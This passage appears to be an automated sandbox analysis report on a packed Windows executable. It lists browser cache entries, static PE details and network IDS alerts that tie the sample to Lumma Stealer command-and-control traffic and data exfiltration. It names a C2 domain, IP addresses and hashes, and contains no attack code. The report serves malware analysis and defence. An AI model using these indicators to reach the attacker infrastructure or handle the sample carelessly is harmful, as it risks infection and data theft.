MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946937038084822
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'824'768 bytes
MD5:	541b872e94f7b7ad57742c3072631a9f
SHA1:	819a299878072e8150ee4158d36f651b2f9d7a41
SHA256:	b4be25f5fea95a90e948458d9b052084154b9bae1b0bd43d067f94e9af8ddccc
SHA512:	944129a5e1f0abc7f7f00c7139e36a2ca7e966294d4a3e6ad228f095102d63d4c21a530721bedd2422363b18c2097a9d18b526f9400560f8605985c20f96ff88
SSDEEP:	49152:NCvd6+kKKEMjJ30W96rpjnDiLjNDtbRbIPDJI0yNC+Vo4pgR:ovdjfMj1Jk5Dw/FbtE+V9
TLSH:	09853376A897DE60C44E8476CB61D7E232257367673FF9061D64CEA8ABD2E83805343C
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g.............................PH...........@...........................H...........@.................................\p..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x885000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673B72E6 [Mon Nov 18 17:01:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAA8CCB723Ah
movzx ebx, byte ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x56000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	e2604aa945754265084fe482fa25a1ea	False	0.9974280631188119	data	7.986371479019433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x2b0	0x200	e7c7c6f31f0bb9dcb7d331e9c34146ac	False	0.798828125	data	6.073962579287059	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x298000	0x200	d2210b2c97ad948f91d99ca6cdfbf8a0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fwylhceq	0x2f0000	0x194000	0x193c00	ad2e8d5604fef9ea9841abb96534eb2c	False	0.994453850619195	data	7.953384330961557	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ajtvkrhi	0x484000	0x1000	0x600	f1c9422a8ba60d10df54f51855f6f54a	False	0.5774739583333334	zlib compressed data	4.975367442096711	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x485000	0x3000	0x2200	74d937f7e8b33da38ccb35dffd6f1d54	False	0.06330422794117647	DOS executable (COM)	0.7348697053932782	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x48391c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T00:02:56.957890+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.7	52127	1.1.1.1	53	UDP
2024-11-21T00:02:58.505264+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:02:58.505264+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:02:59.203552+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:02:59.203552+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:03:00.567345+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:00.567345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:01.344447+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:01.344447+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:02.926530+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-21T00:03:02.926530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-21T00:03:03.812856+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-21T00:03:05.520858+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49715	188.114.96.3	443	TCP
2024-11-21T00:03:05.520858+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49715	188.114.96.3	443	TCP
2024-11-21T00:03:08.145154+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49722	188.114.96.3	443	TCP
2024-11-21T00:03:08.145154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49722	188.114.96.3	443	TCP
2024-11-21T00:03:10.682500+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49731	188.114.96.3	443	TCP
2024-11-21T00:03:10.682500+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49731	188.114.96.3	443	TCP
2024-11-21T00:03:13.252611+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49740	188.114.96.3	443	TCP
2024-11-21T00:03:13.252611+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49740	188.114.96.3	443	TCP
2024-11-21T00:03:18.388324+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.7	49754	188.114.96.3	443	TCP
2024-11-21T00:03:18.388324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49754	188.114.96.3	443	TCP
2024-11-21T00:03:19.510650+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49754	188.114.96.3	443	TCP
2024-11-21T00:03:20.989548+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49760	185.215.113.16	80	TCP

